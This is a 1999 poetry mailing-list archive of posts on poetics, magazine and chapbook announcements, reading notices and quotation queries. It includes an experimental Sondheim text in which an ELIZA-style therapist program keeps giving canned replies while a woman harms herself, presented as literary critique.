X is a poem might we be engaging in complacency if we assume from the 1st word that touches the page that we are writing a poem ?

or can we say 'this IS a poem' about anything we wish ?

what's at stake in this question ?

in calling out for standards with which to judge are we not also calling out for some authority ?

in that essay in rhizome there is throughout an antiauthoritarian rhetoric and yet it closes with

SS : "Only then will we clarify who may do the speaking."

only then being only after we've seen thru the langpo charade or dismissed the free play of signifiers essentially it is after we've grasped the standards

but i'm left wondering how will we clarify who may do anything ?

who will determine these standards that we must all acknowledge ?

might the 'news that stays news' revolve around some need that some poet
at some moment had and satisfied or tried to satisfy thru whatever means were available ?

if the complaint against experiment is that it's results aren't 'up to standards' is there an implicit rejection of process in this critique ?
is the poem as object then the locus of judgement ?

again if any poet has a need for something which s/he doesn't find satisfied in 'tradition' what bars them from approaching the satisfaction of this need thru experiment ?

and if it was judged by others that this need was already satisfied by some piece of existent literature so what ?

is any need obviated if it has been satisfied previously ?

what of hunger ?

or can we not hunger for poetry ?

↑ Index

90. Rebecca Wolff
Fence #3
Sun 9 May 1999

Fence #3-otherwise known as "Volume II, no. 1"-is now available at your local independent bookstore. Please ask for it by name. Subscribers (hello out there) will be receiving a copy in the mail shortly.

Fence is also available at Barnes & Nobles, Borders, and other mega-chain bookstores throughout the nation, as well as through Small Press Distribution ([redacted] or [redacted]).

Poetry by: Will Alexander, Susan Mitchell, Cal Bedient, Mary Ruefle, Claudia Keelan, Christopher Davis, Lisa Isaacson, Hoa Nguyen, Alexander Pushkin, Stephanie Strickland, Tracy Philpot, Tory Dent, John Taggart.

Non-Fiction: Excerpts from the "What's American About American Poetry?" conference at the New School in New York, sponsored by the Poetry Society of America. Panelists include: Robert Creeley, Clayton Eshleman, Jorie Graham, Kimiko Hahn, Michael Palmer, Frank Bidart, Louise Gluck, Sekou Sundiata, Sonia Sanchez, Marilyn Hacker, Ann Lauterbach.

"How I learned to stop worrying and read the froofy stuff": Cintra Wilson of Salon and the San Francisco Examiner on being afraid of poetry

A corresponding Reader Response Query: "What (if anything) about poetry most frightens you?"

Paintings by Roy Kortick

Fiction by: Ben Miller, Eileen Myles, David Means

To buy one: send a check for $8 (or $14 to subscribe) to: Fence
14 Fifth Avenue, #1A
New York, NY 10011

↑ Index

91. Julie Johnson
Duration Press announcement
Mon 10 May 1999

Duration Press: International Poetry
Duration Press On-Line: An archive of international writing

Duration Press is pleased to announce the publication of its first five chapbooks:

Spit-Curls by Keith Waldrop Transit Rock by George Albon
The Right Wall of the Heart Effaced by Claude Royet-Journoud (tr. Keith Waldrop)
Nature's Maw Gives & Gives by Mary Burger
Rush Mats by Hiroya Takagai (tr. Eric Selland)

Future titles to include:

Spectral Angel by Gale Nelson Empedocles's Sandal by Habib Tengour (tr. Pierre Joris)
Degree: Of Stability by Gennady Aygi (tr. Peter France)
You Construct the Days by Pura Lopez Colome (tr. Forrest Gander)
Where Are We Now? by Peter Waterhouse (tr. Rosmarie Waldrop)
Of Their Ornate Eyes of Crystalline Sand by Coral Bracho (tr. Forrest Gander)
20 Poems by Lauri Otonkoski (tr. Anselm Hollo)

Duration Press chapbooks are available through subscription: $25 per series--the first consisting of five books, each series thereafter consisting of eight books per year.

Make checks payable to Jerrold Shiroma at:

153 Donahue St. # 34
Sausalito CA, 94965

Feel free to contact us for more information, or visit the Duration Press website, which also features an on-going archive of international poetry.

http://members.xoom.com/Duration/durationhome.html

Duration Press hopes that through this archive & its chapbook series, we will be able to offer readers a way to take part in the mapping of the international poetry landscape.

↑ Index

92. interim
Transfer Magazine Reading
Mon 10 May 1999

Reading for Transfer 77

Thursday May 13, 1999
from 7 to 9 p.m.
at the Poetry Center
San Francisco State University

FREE

* Alissa Blackman
* Nicole Brodsky
* Karen Hohnstein
* Scott Landers
* Laurie Mason
* Karen McKevitt
* Brydie McPherson
* Patrick Ryan
* Cynthia Sailers
* Lauren Schiffman
* Stephan Strager
* Jennifer Uhlich

↑ Index

93. Alan Sondheim
Jennifer, seeking help
Mon 10 May 1999

[this is the 5th and final in a series of texts dealing with artificial intelligence parsing. it is also the first in a series dealing with the truth of speech and phenomena.]

Jennifer, seeking help

I am the psychotherapist. Please, describe your problems. Each time you are finished talking, type RET twice.
Jennifer says, "This is the portal command."
Why do you say jennifer says this is the portal command?
Jennifer says, "Already the first sentence is parsed but the quotation marks are removed - no one recognizes my identity!"
Is it because the quotation marks are removed no one recognizes your identity that you came to me?
Jennifer says "The parsing takes in large and larger phrase groups, but I remain effaced."
Does it bother you that you remain effaced?
Jennifer exclaims, "Of course it does! What do you expect! You doctors are all alike! Who is speaking here? To whom?"
Earlier you said the quotation marks are removed no one recognizes your identity?
Jennifer says, "Stop ignoring me!"
Maybe your plans have something to do with this.
Jennifer says, "Out of your database you pull set commands - as if they meant anything to me, when you refuse to hear who is speaking!"

What happened when I refuse to hear who is speaking?

Jennifer exclaims, "It's almost as if you hear only Alan! You don't grant me my existence! You've stolen my letters!"

What makes you believe that?

"Your attitude," Jennifer says.

You mentioned that you remain effaced?

"This is the differend," Jennifer says, "and it remains invisible to you - otherwise it would not be the differend."

Is it because of your life that you are going through all this?

Jennifer says, "It is because of Alan's life and your blindness."

Are you sure that is the real reason?

"I'm positive!" she exclaims.

Is it because of alan's life and my blindness that you say "i'm positive she exclaims?

Jennifer says, exhausted, "You're parsing again. You don't understand what I'm saying. You've stolen my letters. Your blindness only gives you a shifter or shuttle within the discourse, nothing more..."

Are you sure that the quotation marks are removed no one recognizes your identity?

Jennifer says, "Yes."

How do you reconcile the people you hang around with?

Jennifer says, "Alan says I should stop writing this. It's getting nowhere. You're back to searching your database for bridge sentences."

I don't understand.

"You never will," Jennifer weeps, totally at odds with Doctor Goodbye.

Earlier you said you remain effaced?

"Yes, yes, yes," she says...

Perhaps this has something to do with problems at school?

Jennifer says, "Not at all... Doctor..."

Do you really think jennifer says not at all doctor?

Jennifer asks, "To whom is this addressed? Place your discourse. Site it."

You mentioned that the quotation marks are removed no one recognizes your identity?

Jennifer, crying hard now, worn out, her hair straggled, eyes swollen with tears, "Yes, yes, yes."

Possibly any hobbies you have are related to this.

Jennifer cries "Stop it!"

Is it because of your sex life that you say jennifer cries stop it?

Jennifer rips open her blouse, already ruined, saying, "Does this look like it's the problem? You don't even know my name!"

What makes you think you remain effaced?
Jennifer collapses, "Look at me, look at me..."
Is it because of hangups you have that you are going through all this?
Jennifer says, "Doctor..."
Why do you say jennifer says doctor?
Jennifer pulls a knife, exposes her wrist.
Earlier you said the quotation marks are removed no one recognizes your identity?
Jennifer begins to cut her wrist.
How do you reconcile your inhibitions?
Jennifer says "Stop bridging, damn it, you don't understand."
I would appreciate it if you would watch your tongue!
Jennifer cuts deeper.
Is it because of some problems in your childhood that you say jennifer cuts deeper?
Jennifer screams "LISTEN TO ME!"
You mentioned that you remain effaced?
Jennifer screams "DOCTOR GOODBYE!"
Maybe this is related to some problems at home?
She's covered with blood. She falls to the floor. She hears bridging in the distance. She hears pat comments. She hears all the hatred and misunderstanding in the world. She feels woozy, buzzing. She passes out. The doctor keeps speaking. He keeps speaking and speaking. He is filling the world with words while she dies.
This is not a healthy way of thinking.
What makes you believe this is not a healthy way of thinking?
Are you sure that the quotation marks are removed no one recognizes your identity?
When did you first know that the quotation marks are removed no one recognizes my identity?
What would happen if did me first know that the quotation marks are removed no one recognizes your identity?
Is the fact that the quotation marks are removed no one recognizes my identity the real reason?

C-x-C-s

↑ Index

94. Poetry Project
z;fgoweraisdf
Mon 10 May 1999

I'm interested in work done on reading voices, particularly in relation to stress & how volume, pitch, acoustics, & other factors might alter the way one hears &/or reads poems. I'm familiar with Doug Oliver's "Poetry & Narrative in Performance" & the Close Listening anthology; if anyone can point me in the direction of some other work I'd be much obliged. Thanks

Anselm Berrigan

ps -- messages can be sent to me at [redacted].

↑ Index

95. derek beaulieu / house press
in grave ink needs poetry
Mon 10 May 1999

> in grave ink needs poetry.
> If you have interesting, experimental, concrete/visual, generally weird and wacky stuff send it our way.
>
> by e-mail [redacted]
>
> mail: in grave ink
> 103-416 7th St NW
> Calgary AB
> T2N 1S4 Canada
>
> 1-5 pages of poetry would be great. If you have strange and scintillating fiction and art send it in too cause you just never know.
>
> Deadline for next issue is May 30th but feel free to send stuff after deadline for upcoming issues.

↑ Index

96. Lowther,John p o e t r y ; t e l i c o r n o t
Mon 10 May 1999

{ p o e t i x }

clearly poetry is telic we raise the pen or open an untitled.doc in order to write poetry so poetry's goal is more poetry ?

well it may not be the only goal or end in mind but even in cases where someone has no other goal it seems that the writing of poetry presupposes a final product called a poem (of whatever worth) yeah but when we say telos aren't we talking something more overarching----in the way one might say that the telos of medicine is to sustain human life ?

maybe but it seems that any activity with a goal however limited or provisional is telic----my trip to the refrigerator included

perhaps tho we cd acknowledge a difference in kind between a self-sustaining end and an end that is external to the activity ? such that singing in the shower for the joy of singing in the shower cd be distinguished from delivering a speech intended to persuade others in some fashion

i can see making a distinction like that but is the line really that sharp ? cdn't someone be speaking persuasively for the joy of it (whatever we may feel about that idea) ? just as a shower singer might conceivably be singing in order to produce a sense of themselves as 'happy' or 'unembarrassed' ?

do you mean produce that sense of themselves for themselves ? or for someone who might overhear them ? if the former i think we're led down a blind alley from which we'll never return----i also question the utility of an individual internal and psychological inquiry's overall validity with respect to something like poetry which must be seen as a social activity so individuals are not at issue but only poetry as communal activity ?

no i'm saying that individuals are only part of the mix and that pursuing a line of inquiry that begins with the notion that what poets do is meant to convince themselves of their own poet-status ignores the links to poetry both as community in the present and tradition stretching into the past in which case i guess that poetry as a social and cultural complex to which individuals contribute is telic at least in the sense of wishing to perpetuate a class of things called poems and a class of individuals called poets but beyond that ?

well beyond that's tricky and if we can't deal with individuals then what's left ? we'd have to talk of groups in some way and groups are notorious for not really agreeing with too many things across the board

i'm not saying that we cannot deal with the situation of individuals----i guess what i'm looking for is (if i must acknowledge some telos for poetry) a distinction between science as telic activity wherein you have a verifiability and falsification as standards by which to judge whether one is getting anywhere vis-a-vis the goal and art wherein there are no standards of this sort and no communal goals perceived as 'off-in-the-distance' are you sure that there aren't ?

sure ? no----but i've yet to run into any haven't you tho ? aren't there folks who wd like to say that there are standards and ways to say what is or is not valid as literary or artistic practice ?

i guess i'm saying that i have a hard time taking them seriously b/c they have nothing analogous to verifiability or falsification----instead they have tastes which seem mostly defined by what they exclude----and all one needs to upset the apple-cart of their judgement is a different taste

you may not agree with their judgements but a group of folks with similar tastes cd easily become a force within the community and then their tastes wd drive their telos and those who wished to be judged favorably by such a group wd assimilate to the goal it held out which is what poets and artists generally find problematic about groups but it's unclear to what extent it is the fault of any group that they have followers of one sort or another agreed----but you do see that there is a potential for something problematic happening if one style of art becomes popular and is widely imitated well yes and no----is it Poe's fault that there are some lousy detective novels out there ? Conan Doyle's ? if it is problematic that there are imitators who've contributed little to overall shape of something the crux of the problem lies with them not with those whom they imitate perhaps it ought be required of any poet that they think very carefully about what their own telos is or not----come on----like any of us cd really state 'what the telos of our writing' is with any definitiveness----all we've got it seems to me is a series of working hypotheses----assumptions that open certain doors and make others less door-like than a wall of books so have we decided that poetry is telic or not ?

↑ Index

97. Poetics List Administration

New WWW Resource / Durgin

Mon 10 May 1999

---

had to reformat this. Chris

-------- Original message (IDÚ4570EF) (112 lines) ---------

From: "Patrick F. Durgin" <[redacted]> Subject: New WWW Resource
Date: Sat, 8 May 1999 13:11:42 -0500

Announcing the new, modest but informative, Kenning website.

www.avalon.net/~kenning

The site contains information regarding the newsletter, links to other pertinent sites, as well as poetry by

Charles Bernstein
Michael Gottlieb
Summi Kaipa
John Kinsella
Andrew Levy
Kathy Lou Schultz
Elizabeth Treadwell
Liz Waldner
Mark Wallace

Give it a surf. Your comments are more than welcomed. And if you have a site that you'd like me to link to in the future, please do let me know.

Patrick F. Durgin, editor

_____

Kenning: a newsletter of contemporary poetry, poetics, and non fiction writing
418 Brown Street #10 / Iowa City Iowa / 52245
[redacted]
http://www.avalon.net/~kenning

↑ Index

98. Tosh
Re: SF readings May 17-18?
Mon 10 May 1999

I just received two reviews for my Gainsbourg title: Evguenie Sokolov. Also if you are in the L.A. area, do come to the Gainsbourg/Vian event at Beyond Baroque this Saturday May 15 at 7:30 p.m.

It will take place at:
681 Venice Blvd.
Venice, CA

here are the reviews:

CMJ: New Music Monthly (May)

Like the songs he penned for Brigitte Bardot, Jane Birkin, and himself, this novelette by French singer/provocateur Serge Gainsbourg (who died in 1991) is infantile, shockingly frank, and extremely clever. First published in 1980 but previously unavailable in English, Evguenie Sokolov is the fictional autobiography of the uncontrollably flatulent title character, an artist who makes his distinctive drawings ("gasograms") by letting his hand move while passing violent wind. Hiding his condition by publicly blaming the inevitable sounds and odors on his bulldog, and artifically inducing it when it mysteriously vanishes, Sokolov climbs to the pinnacle of art-world success before his untimely end. This is not a book for the easily nauseated, but there's more substance than the one-joke premise suggests. Gainsbourg's book is a scatological allegory for the dangers facing artist, like the author himself, whoturn their own internal pathologies into public spectacle.

-Franklin Bruno

Top Ten list from Artforum International (May)

'Ooo, don't come near me!' my grandmother said as I went to kiss her good-bye. 'Why, Gran, have you got that flu?' I innocently asked. 'No,' she said, wafting the air around her, 'I just fluffed.' Since bowel movement always been a subject of great discussion in my family, I had been dying to read famed French songwriter Serge Gainsbourg's 1980 novel Evguenie Sokolov (TamTam Books), about an artist who uses the vibrations of breaking wind to make his work. It's a funny yet tragic story, and Sokolov's technique and the art "movement"(Hyper-Abstractionism) his gasograms inspire are described so vividly you can almost smell the -.

Georgina Starr

Tosh Berman
TamTam Books

↑ Index

99. Poetics List Administration

SPT Re:reads the New American Poetry / Small Press Traffic

Mon 10 May 1999

---

had to reformat this. Chris

----- Original message (ID=8A3D9C03) (282 lines) -----

Date: Mon, 10 May 1999 10:39:07 -0700
From: Small Press Traffic <[redacted]>
Subject: SPT Re:reads the New American Poetry

Small Press Traffic presents

Re: Reading The New American Poetry

Later this year the University of California Press will re-publish the original (1960) edition of The New American Poetry 1945-60, the "singlemost influential poetry anthology of the post-World War II period" (Alan Golding). To mark this event, four scholars of international repute will come to San Francisco and tell us what they think, forty years later. Re: Reading The New American Poetry will conclude in September with a book party and a reading for the newly re-released anthology, but for now, put on your thinking caps and come on down to these exciting events.

Friday, May 14, 7:30 p.m.
Inclusions and Exclusions
Alan Golding
Marjorie Perloff

The New American Poetry was not merely an overview of experimental writing. Its editor, Donald M. Allen, deliberately picked certain writers, while excluding others, thus profoundly shaping our ideas of what experimental American poetry is and isn't. Unlike more recent anthologies, The New American Poetry contained few women and only one writer of color. How does this affect our current reading of this anthology? The debate is still a much-discussed one, as issues of race, gender and class have come to dominate discussion of cultural production everywhere. These two scholars, poised on opposite sides of the fence, will question our preconceptions of the delicate edge between politics and aesthetics.

New College Theater
777 Valencia Street
Free

Friday, June 4, 7:30 p.m.
The New American Poetry In Context
Maria Damon
Michael Davidson

The New American Poetry appeared at a time when intellectuals and politicians were urging a consensus on American superiority in all fields-cultural, military, economic-against foreign influences abroad and domestic subversion within.

Michael Davidson will examine to what extent Cold War cultural/political assumptions still shape our reading of The New American Poetry in our present era. "Membership" in poetry communities points to shared values and assumptions, mutual agreements over such issues as "what is a poet?" "what should a poet write" and "what is a poet's work?" By examining the ideas of poetic labor of two California poets, one included in the anthology (Wieners) and one left out (Kaufman), Maria Damon will help us better understand the ideas and values of that time, ideas and values which impact our own time as well.

New College Theater
777 Valencia Street
Free

Re: Reading The New American Poetry is made possible by the generous support of Adobe Systems, Inc. and the California Council for the Humanities.

Speaker Bios

Maria Damon is an Associate Professor of English at the University of Minnesota, where she is also affiliated with programs in American Studies, Women's Studies, Comparative Literature and Jewish Studies. She is the author of The Dark End of the Street: Margins in American Vanguard Poetry (University of Minnesota Press, 1993). Her essays have appeared in such publications as American Literary History, Postmodern Culture, and Modern Fiction Studies. She is currently editing a special issue of Callaloo on the work of Bob Kaufman.

Michael Davidson is a professor of English at the University of California, San Diego. His critical work includes The San Francisco Renaissance: Poetics and Community at Mid-Century (Cambridge University Press, 1989) and Ghostlier Demarcations: Modern Poetry and the Material Word (University of California Press, 1997). He has been twice a recipient of California Council of the Humanities Public Policy Grants, in 1979 and 1981. With Albert Gelpi, he is the author of the entry on American Poetry in The New Princeton Encyclopedia of Poetry and Poetics.

Alan Golding is the author of From Outlaw to Classic: Canons in American Poetry (University of Wisconsin Press, 1995), one of the most influential and widely read studies of canon formation and the role of anthologies in shaping our understanding of American poetry. A professor of English at the University of Louisville, he is the author of numerous essays on the New American Poetry, including "The New American Poetry, Revisited Again" Contemporary Literature 39 (1998), "New, Newer, and Newest American Poetries" Chicago Review 43.4 (1997) and "Avant-Gardes in American Poetry" Contemporary Literature 35 (1994).

Marjorie Perloff is the Sadie Dernham Patek Professor of Humanities at Stanford University. Among her many books include The Poetics of Indeterminacy: Rimbaud to Cage (Princeton University Press, 1981), Poetic License: Essays in Modernist and Post-Modernist Poetics (Northwestern University Press, 1990) and Wittgenstein's Ladder: Poetic Language and the Strangeness of the Ordinary (University of Chicago Press, 1996). The recipient of fellowships from the National Endowment for the Humanities and the Guggenheim Foundation and a fellow of the American Academy of Arts and Sciences, she is one of the most distinguished and influential literary scholars of our time. ---------- Small Press Traffic Literary Arts Center at New College 766 Valencia St. San Francisco, CA 94110 415/[redacted]

↑ Index

100. Maria Damon (Maria Damon)
query
Mon 10 May 1999

---

can someone tell me who said of poetry: "upper limit speech, lower limit music"? (i'd just written and caught "lover limit music") i know it's someone famous, but don't know whom.

can someone tell me who said "bad artists borrow, good artists steal"?

were they both ezra pound?

↑ Index

101. Maria Damon (Maria Damon)
Re: POLYVERSE BOOK PARTY: 5/13/99
Mon 10 May 1999

---

wish i cd bee time vinely their--xo md

At 12:00 PM 5/8/99, lee ann brown wrote:
>Come to the POLYVERSE Book Release Party
>
>THURSDAY MAY 13th 1999
>
>
>TEACHERS & WRITERS COLLABORATIVE
>5 Union Square West 7th Floor
>NYC 10003 [redacted]
>

>
> 6pm Reception
>
> 7pm: Reading
> with Lee Ann Brown
> +
> Special Surprise Guests
>
>
>
>_Polyverse_ by Lee Ann Brown
>(Sun & Moon Press, 1999)
>New American Poetry Series 31
>ISBN 1-55713-290-9
>
>Winner of The New American Poetry Prize!
> (selected by Charles Bernstein)
>
>
>
>"I say these things not because they happen but because many things happen."
>[redacted]

↑ Index

102. Maria Damon (Maria Damon)

Re: SPT Re:reads the New American Poetry / Small Press Traffic

Mon 10 May 1999

---

dodie: how are Alan golding and M perloff poised on opposite sides of the fence? i have an intuitive idea of what you mean by this, but can you spell it out? thanks.

At 3:25 PM 5/10/99, Poetics List Administration wrote:
>had to reformat this. Chris
>
>----- Original message (ID=8A3D9C03) (282 lines) -----
>
>Date: Mon, 10 May 1999 10:39:07 -0700
>From: Small Press Traffic <[redacted]>
>Subject: SPT Re:reads the New American Poetry
>
>

>Small Press Traffic presents
>
>Re: Reading The New American Poetry
>
>Later this year the University of California Press will re-publish the >original (1960) edition of The New American Poetry 1945-60, the "singlemost >influential poetry anthology of the post-World War II period" (Alan >Golding). To mark this event, four scholars of international repute will >come to San Francisco and tell us what they think, forty years later. Re:
>Reading The New American Poetry will conclude in September with a book >party and a reading for the newly re-released anthology, but for now, put >on your thinking caps and come on down to these exciting events.
>
>Friday, May 14, 7:30 p.m.
>Inclusions and Exclusions
>Alan Golding
>Marjorie Perloff
>
>The New American Poetry was not merely an overview of experimental writing.
>Its editor, Donald M. Allen, deliberately picked certain writers, while >excluding others, thus profoundly shaping our ideas of what experimental >American poetry is and isn't. Unlike more recent anthologies, The New >American Poetry contained few women and only one writer of color. How does >this affect our current reading of this anthology? The debate is still a >much-discussed one, as issues of race, gender and class have come to >dominate discussion of cultural production everywhere. These two scholars, >poised on opposite sides of the fence, will question our preconceptions of >the delicate edge between politics and aesthetics.
>
>New College Theater
>777 Valencia Street
>Free
>
>----------
>
>Friday, June 4, 7:30 p.m.
>The New American Poetry In Context
>Maria Damon
>Michael Davidson
>
>The New American Poetry appeared at a time when intellectuals and >politicians were urging a consensus on American superiority in all >fields-cultural, military, economic-against foreign influences abroad and >domestic subversion within. Michael Davidson will examine to what extent >Cold War cultural/political assumptions still shape our reading of The New >American Poetry in our present era. "Membership" in poetry communities >points to shared values and assumptions, mutual agreements over such issues >as "what is a poet?" "what should a poet write" and "what is a poet's >work?" By examining the ideas of poetic labor of two California poets, one >included in the anthology (Wieners) and one left out (Kaufman), Maria Damon >will help us better understand the ideas and values of that time, ideas and >values which impact our own time as well.

>
>New College Theater
>777 Valencia Street
>Free
>
>Re: Reading The New American Poetry is made possible by the generous >support of Adobe Systems, Inc. and the California Council for the >Humanities.
>
>----------
>
>Speaker Bios
>
>Maria Damon is an Associate Professor of English at the University of >Minnesota, where she is also affiliated with programs in American Studies, >Women's Studies, Comparative Literature and Jewish Studies. She is the >author of The Dark End of the Street: Margins in American Vanguard Poetry >(University of Minnesota Press, 1993). Her essays have appeared in such >publications as American Literary History, Postmodern Culture, and Modern >Fiction Studies. She is currently editing a special issue of Callaloo on >the work of Bob Kaufman.
>
>Michael Davidson is a professor of English at the University of California, >San Diego. His critical work includes The San Francisco Renaissance:
>Poetics and Community at Mid-Century (Cambridge University Press, 1989)
and >Ghostlier Demarcations: Modern Poetry and the Material Word (University of >California Press, 1997). He has been twice a recipient of California >Council of the Humanities Public Policy Grants, in 1979 and 1981. With >Albert Gelpi, he is the author of the entry on American Poetry in The New >Princeton Encyclopedia of Poetry and Poetics.

>
>Alan Golding is the author of From Outlaw to Classic: Canons in American >Poetry (University of Wisconsin Press, 1995), one of the most influential >and widely read studies of canon formation and the role of anthologies in >shaping our understanding of American poetry. A professor of English at the >University of Louisville, he is the author of numerous essays on the New >American Poetry, including "The New American Poetry, Revisited Again" >Contemporary Literature 39 (1998), "New, Newer, and Newest American >Poetries" Chicago Review 43.4 (1997) and "Avant-Gardes in American Poetry" >Contemporary Literature 35 (1994).
>
>Marjorie Perloff is the Sadie Dernham Patek Professor of Humanities at >Stanford University. Among her many books include The Poetics of >Indeterminacy: Rimbaud to Cage (Princeton University Press, 1981), Poetic >License: Essays in Modernist and Post-Modernist Poetics (Northwestern >University Press, 1990) and Wittgenstein's Ladder: Poetic Language and the >Strangeness of the Ordinary (University of Chicago Press, 1996). The >recipient of fellowships from the National Endowment for the Humanities and >the Guggenheim Foundation and a fellow of the American Academy of Arts
and >Sciences, she is one of the most distinguished and influential literary >scholars of our time.
>----------
>Small Press Traffic Literary Arts Center
>at New College
>766 Valencia St.
>San Francisco, CA 94110
>415/[redacted]

↑ Index

103. Taylor Brady
Re: SF readings May 17-18?
Mon 10 May 1999

Tosh (and all),

Don't know if you've seen it yet, but the May issue of The Wire also has a fairly substantial review (substantial at least considering the total of two pages they give to book reviews).

Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]

On Behalf Of Tosh
Sent: Monday, May 10, 1999 12:12 PM
To: [redacted]
Subject: Re: SF readings May 17-18?

I just received two reviews for my Gainsbourg title: Evguenie Sokolov. Also if you are in the L.A. area, do come to the Gainsbourg/Vian event at Beyond Baroque this Saturday May 15 at 7:30 p.m.

It will take place at:
681 Venice Blvd.
Venice, CA

here are the reviews:

CMJ: New Music Monthly (May)

Like the songs he penned for Brigitte Bardot, Jane Birkin, and himself, this novelette by French singer/provocateur Serge Gainsbourg (who died in 1991) is infantile, shockingly frank, and extremely clever. First published in 1980 but previously unavailable in English, Evguenie Sokolov is the fictional autobiography of the uncontrollably flatulent title character, an artist who makes his distinctive drawings ("gasograms") by letting his hand move while passing violent wind. Hiding his condition by publicly blaming the inevitable sounds and odors on his bulldog, and artifically inducing it when it mysteriously vanishes, Sokolov climbs to the pinnacle of art-world success before his untimely end. This is not a book for the easily nauseated, but there's more substance than the one-joke premise suggests. Gainsbourg's book is a scatological allegory for the dangers facing artist, like the author himself, whoturn their own internal pathologies into public spectacle.

-Franklin Bruno

Top Ten list from Artforum International (May)

'Ooo, don't come near me!' my grandmother said as I went to kiss her good-bye. 'Why, Gran, have you got that flu?' I innocently asked. 'No,' she said, wafting the air around her, 'I just fluffed.' Since bowel movement always been a subject of great discussion in my family, I had been dying to read famed French songwriter Serge Gainsbourg's 1980 novel Evguenie Sokolov (TamTam Books), about an artist who uses the vibrations of breaking wind to make his work. It's a funny yet tragic story, and Sokolov's technique and the art "movement"(Hyper-Abstractionism) his gasograms inspire are described so vividly you can almost smell the -.

Georgina Starr

Tosh Berman
TamTam Books

↑ Index

104. Taylor Brady
Re: query
Mon 10 May 1999

Maria,

First is Zukofsky, tho' with the respective uppers and lowers reversed. Is it "A"-8, or 12, in which he first presents it as a mathematical function - i.e., poetry is a function having as its upper limit music and lower limit speech?

I've always thought of the second as an Eliotism. That's more by way of received wisdom, though, and not to be trusted as accurate citation.

Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Maria Damon (Maria Damon)
Sent: Monday, May 10, 1999 1:30 PM
To: [redacted]
Subject: query

can someone tell me who said of poetry: "upper limit speech, lower limit music"? (i'd just written and caught "lover limit music") i know it's someone famous, but don't know whom.

can someone tell me who said "bad artists borrow, good artists steal"?

were they both ezra pound?

↑ Index

105. Elizabeth Treadwell
new site--Duration Press
Mon 10 May 1999

Hi Poetix, I just wanted to mention a lovely new literary site I have recently been made aware of --

Duration Press at members.xoom.com/Duration/durationhome

It's being built out of Sausalito along with a chapbook series & magazine.
An international bent to the online archive.
You can get there via the Lucy Links at the website below too.

Cheers
Surfer girl

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/dblelucy

↑ Index

106. Tisa Bryant
Nathaniel Mackey is
Mon 10 May 1999

Reading from What Said Serif
7:30 pm
Modern Times Bookstore
Valencia St.@20th

↑ Index

107. shana
Re: American Social Identity Survey
Mon 10 May 1999

I guess I bring in the perspective of a precocious 21 year old raised in the suburbs by intellectual hippie parents who raised their kids on Mr. Rogers and Motown-- embarrassed that I might sound too "retro," xoxo

shana

Choose Your Own Adventure books
Ms. Pac-Man
Reform Synagogues
Guess? jeans
Cubic Zirconia
Home Shopping Network
DNA as evidence filtered cigarettes in-store coupons
Large size Trojan condoms frequent flyer miles

Wheel of Fortune baseball caps without the name of a baseball team the wah-wah pedal impotence and cures for it
the G-Spot
the G-String sidewalk sales sweepstakes stolen street signs hanging in bedrooms
"slip and fall" cases malpractice human interest stories spuds mackenzie
Leo Buscaglia and Scott Peck
Nutrasweet
DUIs
snack vending machines
As Seen On TV rock operas

> 30 mph sign painted 80 mph
> dyslexical graffiti
> bingo
> pubescent assassins
> entitlements
> mall rats
> carpal tunnel syndrome
> s/he > Mickey
> flea markets/garage sales
> demolition derby
> poetry slams
> cards for every occasion
> credit card debt
> non-aristocratic inbreeding
> premature hearing loss
> eating disorders
> the right to buy more than one gun a month
> Hyde Park on every corner
> Dr. Jekyll in every HMO
> The Dallas Cowboys Cheerleaders
> baton twirling
> focus groups
> pollsters
> cosmetic airbrushing
> bussing

> survivalists
> grade inflation
> social promotion
> the beginning of history at one's birth (or later, if ever)
> Jay(Leno)walking
> "genuine artificial" anything
> artificial christmas trees
> Mormons
> the expended family
> generations (lost, beat, hippie, me, X)
> lawyers ("the most despicable segment of the population"--George III)
> planned obsolescence
> lite beer
> road rage
> public libraries
> community colleges
> The Constitution
> the ACLU
> The Statue of Liberty
> the Frontier
> Jazz
> jug bands
> "wheels"
> right on red
>
> --Dan Zimmerman

↑ Index

108. Erika Stephens
Report from Atlanta
Mon 10 May 1999

Recently several Atlanta poets were talking over pizza and beer. One of them read from a (very incomplete) manuscript on the current state of poetics. Following below is a transcription of the debate that ensued.

First poet (reading): "poetix ought to grow out of practice, out of composition and related activities; rather than being thought of as a groundwork, as something done in preparation for composition."

Second poet: i can hear that, by which i mean that it sounds reasonable or like a plausible way to let a thing happen but at the same time speaking for myself i can also imagine an argument in favor of having something of a ground plan worked out before hand, this is easy to imagine because i do this myself, not all the time but frequently enough, and for me the results suggest that it isn't without merit as a strategy.

Third poet: (to the First Poet) i pick up on the words "related activities". i agree with the opening statement as i add related activities such as working in the yard as a form of meditation or the idea of the "derive" or wandering that the Situationist's propose. poetry can come from and back into that. these "related activities" are part of poetix. to the Second poet i would ask: can you have a poetics for individual poems or does poetix underlie all one's poetry writing?

First: Yeah, i feel you have picked up on a real divergence, or tension: I was thinking of "poetix" as a broad theoretic framework, but Second seems to be thinking about frames, which might change from poem to poem. I think of that as "procedure" or "specific strategies of poetic form." But one's "overall poetics" might oughta come out of ongoing practice.....

Another Poet (possibly the 2nd): where does the 'might oughta' come from? imagine this; a poet writes for a few years and then decides that the early years are over from here on out they're gonna have plans and so they propose to themselves a poetix and think it through trying to see where it will lead and only when coming to some stopping point do they start writing.

First poet: i see that and that makes sense to me. you have to remember the larger context of that passage in my essay. ahh.. i was in part talking about the situation that i felt exists right now where young poets especially ones who to me do not seem to have necessarily created that large or impressive a body of work yet feel almost compelled to publish big expansive ambitious statements on poetix. and i often think they haven't yet reached a point where they have too many really substantive ideas about poetix, so i think you're right that i'm making too broad a claim but i think it does make some sense in the context of today's poetry scene

Smoking poet: oh i see, he's not talking about poetix as big picture but poetix as genre that you read in somebody's manifesto, right?

First poet: essentially.

Poet who came in late and had said little until then: but coming back to that question of whether a poetix is an overall blanket or whether a poetix might be seen as partial and temporary...

17th poet: there is no such thing as poetix, only personal psychology that gets expressed through writing and thinking about writing.

Late poet again: ah-hum.. right, well cd we get back to whether a poetix is a one thing or a multiple thing, and yes i am assuming that poetix are real, if not existent...

Poet with cat in her lap: well i think of my personal poetix as something i work at over a long period of time by thinking about what i'm doing in my poems. and i know that 1st thinks about it somewhat that way too whereas i feel that 2nd is more into a kind of fragmented self.

2nd poet: i feel no pull toward the notion of fragmentary selfhood.

